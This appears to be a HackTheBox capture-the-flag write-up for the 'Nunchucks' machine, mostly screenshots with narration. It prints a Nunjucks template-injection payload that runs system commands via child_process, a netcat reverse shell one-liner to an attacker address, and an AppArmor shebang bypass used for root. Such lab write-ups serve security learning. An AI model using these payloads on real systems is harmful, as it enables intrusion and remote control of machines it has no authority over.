> For the complete documentation index, see [llms.txt](https://angellm.gitbook.io/hacknotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://angellm.gitbook.io/hacknotes/htb/2022/nunchucks.md).

# Nunchucks

**Date**: 04/07/2022

**Difficulty**: Easy

**CTF**: <https://app.hackthebox.com/machines/Nunchucks>

***

Let’s test the connection with the target machine:

<figure><img src="/files/NMRIFIGPTwQECNTZ6JMb" alt=""><figcaption></figcaption></figure>

We have received back the ping, so we have connection. Let’s scan the TCP ports of the target machine using nmap:

<figure><img src="/files/8D7voQnzXLzaaQ7uAQzI" alt=""><figcaption></figcaption></figure>

3 open ports: 22 (ssh), 80 (http), 443 (https). Let’s scan them further:

<figure><img src="/files/rifOcFt8bXZ0ldbsL2Ci" alt=""><figcaption></figcaption></figure>

Apparently the website hosted in the port 80, redirects us to <https://nunchucks.htb/>. Also, the ssl certificate and the DNS of the https service also reveals the domain name, so it seems like is applying virtual hosting. Let’s add this domain to the /etc/hosts file:

<figure><img src="/files/OqcVKWmAPeI4Lq90Xi6w" alt=""><figcaption></figcaption></figure>

Let’s inspect the website using whatweb:

<figure><img src="/files/0UWACyztGBrBiGYIC04E" alt=""><figcaption></figcaption></figure>

At least now it resolves. Let’s see how it looks using the web browser:

<figure><img src="/files/cQDnrilW5kS0OvTTXsZi" alt=""><figcaption></figcaption></figure>

Seems like a normal page… Let’s click on the upper left Nunchucks image:

<figure><img src="/files/yEKQhfq3BeGIioauIEVY" alt=""><figcaption></figcaption></figure>

It opens a index.html page that says that the page doesnt exist. Weird.

<figure><img src="/files/d9uVrLEn9eXcv3IGrweH" alt=""><figcaption></figcaption></figure>

We also have a signup form

<figure><img src="/files/tEDy6PIiFzD4PxDF5kpQ" alt=""><figcaption></figcaption></figure>

and a login form

<figure><img src="/files/JGpuemvz9vufnmN2WAlY" alt=""><figcaption></figcaption></figure>

Also, the website is setting a cookie called `_csrf` nice name, this kind of cookies are usually used to prevent CSRF attacks.

Let’s start testing the login form agains sqli:

<figure><img src="/files/jR57PAxpwm6KIUhwkUFK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ff9TuzMoQFRrSlWxAbiP" alt=""><figcaption></figcaption></figure>

Uh… user logins are disabled. Let’s try then to sign up:

<figure><img src="/files/AjUJVrDtrBcHO9Ri0AdF" alt=""><figcaption></figcaption></figure>

Ooookay… so no login and no signup.

Anyway the form is sending the information. Maybe if we have a valid cookie the system will allow us to log in?

<figure><img src="/files/lyt0HKEL4L9LdERc1ClQ" alt=""><figcaption></figcaption></figure>

Let’s take a look to the website again:

<figure><img src="/files/LqqJsCFKjyEffb2gfLQ1" alt=""><figcaption></figcaption></figure>

There is a support email in the footer of the website. Let’s note it, maybe it will be useful…

Let’s enumerate the directories of the website:

<figure><img src="/files/XnsGH0jcRwS37SzFuuWm" alt=""><figcaption></figcaption></figure>

Maybe we can look for subdomains:

<figure><img src="/files/Vb6fFYsOgI9iC4S0xIZb" alt=""><figcaption></figcaption></figure>

wfuzz discovered the `store` subdomain, let’s add it to the /etc/hosts file

<figure><img src="/files/03ZeKbNuRGUNb1KRENga" alt=""><figcaption></figcaption></figure>

And now let’s visit the subdomain:

<figure><img src="/files/EabyNMzbVmyUoPA9QgtB" alt=""><figcaption></figcaption></figure>

There is nothing else here but a form… Let’s use it:

<figure><img src="/files/AHgyQbxdeQtHJOvH7t9Z" alt=""><figcaption></figcaption></figure>

Mmmm… it includes the mail that I entered in the webpage. Maybe this page is vulnerable to SSTI? Let’s check it:

<figure><img src="/files/I2cttZLZ8526jUE79l6l" alt=""><figcaption></figcaption></figure>

Yep, it is.

<figure><img src="/files/I3RUwYa6GR6PI74DWnHG" alt=""><figcaption></figcaption></figure>

NUNJUCKS sound pretty similar to Nunchucks, let’s start with this:

`{{range.constructor("return global.process.mainModule.require('child_process').execSync('COMMAND_WE_WANT_TO_EXECUTE')")()}}`

but adding backslashes to escape double quotes and using burpsuite to bypass the email format check:

<figure><img src="/files/1OIts1QZh01BxJKLaHY9" alt=""><figcaption></figcaption></figure>

Let’s try to see the passwd file:

<figure><img src="/files/TbOFrOKOfFVXi599LEyJ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/sHR7OVbtgYviDyYurm3M" alt=""><figcaption></figcaption></figure>

Let’s look inside the home folder of david, we may find ssh credentials or something useful:

<figure><img src="/files/qH0KjpZ3pKtrmoZMNu6D" alt=""><figcaption></figcaption></figure>

Ok, there is no .ssh folder, but we can see the user.txt flag:

<figure><img src="/files/gDnnV2ARgHq6euCIwxkl" alt=""><figcaption></figcaption></figure>

Ok, we managed to get the user flag, but we have to access to the target machine. Let’s find a way to establish a reverse shell…

<figure><img src="/files/8teYp8GhyaLkwI6OLBEp" alt=""><figcaption></figcaption></figure>

ok, the target machine has netcat installed, let’s try a simple `nc -e /bin/sh 10.10.10.10 1234`

<figure><img src="/files/7A9lh1ywPu6AKCMc9S46" alt=""><figcaption></figcaption></figure>

Bad Gateway… something doesn’t work… what if we encode the command in base64 and send it this way?

<figure><img src="/files/ijKZiBM8JjDxA63Gxjxt" alt=""><figcaption></figcaption></figure>

It worked, nice. Let’s stabilize the tty:

<figure><img src="/files/9oCZVRg3voTRxe4ddLQo" alt=""><figcaption></figcaption></figure>

Ok, now let’s find a way to escalate privileges. Let’s start looking for SUID files:

<figure><img src="/files/u2QvwWV0P9dCi7a4JkzH" alt=""><figcaption></figcaption></figure>

Nothing useful. Let’s see if there is any binary with capabilities:

<figure><img src="/files/5YL90ukixT0hLn2X9vRw" alt=""><figcaption></figcaption></figure>

Uh, perl has a `setsuid` capability… And it appears in GTFO Bins as something we can take advance of to escalate to root:

<figure><img src="/files/tZL10ClBlTGz7QqwzBZW" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/VrlkP184DS3VpIZor8cu" alt=""><figcaption></figcaption></figure>

I tried it. I tried a lot of things but nothing happened:

<figure><img src="/files/q85hVAKV9UjsPKIu7sbd" alt=""><figcaption></figcaption></figure>

Apparently I had to discover this:

<figure><img src="/files/eCaOPVhpqlgvynRb7TiR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MtJWIcScLN17uRPAbCli" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8fZ3ATeEG4kdOJBonpv5" alt=""><figcaption></figcaption></figure>

What is inside /opt/backup.pl?

<figure><img src="/files/tK6TGl2lb5w63qqja0g8" alt=""><figcaption></figcaption></figure>

Is a perl script. Let’s execute it:

<figure><img src="/files/D2oPuR6WnGd1obj6ncJc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HfqgTWBTjEdJTsnWG3Z2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kMCEqcC5ivRFGj72m8k8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/suFpWdfcK065tQ41kyTy" alt=""><figcaption></figcaption></figure>

Nothing useful there. Let’s investigate a little bit more about AppArmor:

Looking for bugs and vulns I found this one:

[Bug #1911431 "Unable to prevent execution of shebang lines" : Bugs : AppArmor](https://bugs.launchpad.net/apparmor/+bug/1911431)

<figure><img src="/files/QhTVzMlB20PUNOaECrY3" alt=""><figcaption></figcaption></figure>

it says that if we create a script with the shebang of the restricted application, it will ignore the restrictions. Let’s try it!

<figure><img src="/files/XCmTkZn5SYMq0ax69jmt" alt=""><figcaption></figcaption></figure>

And now, let’s execute it:

<figure><img src="/files/oiLlpayQxon9uxRF3Dp3" alt=""><figcaption></figcaption></figure>

And that’s how we became root. Pretty interesting.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://angellm.gitbook.io/hacknotes/htb/2022/nunchucks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
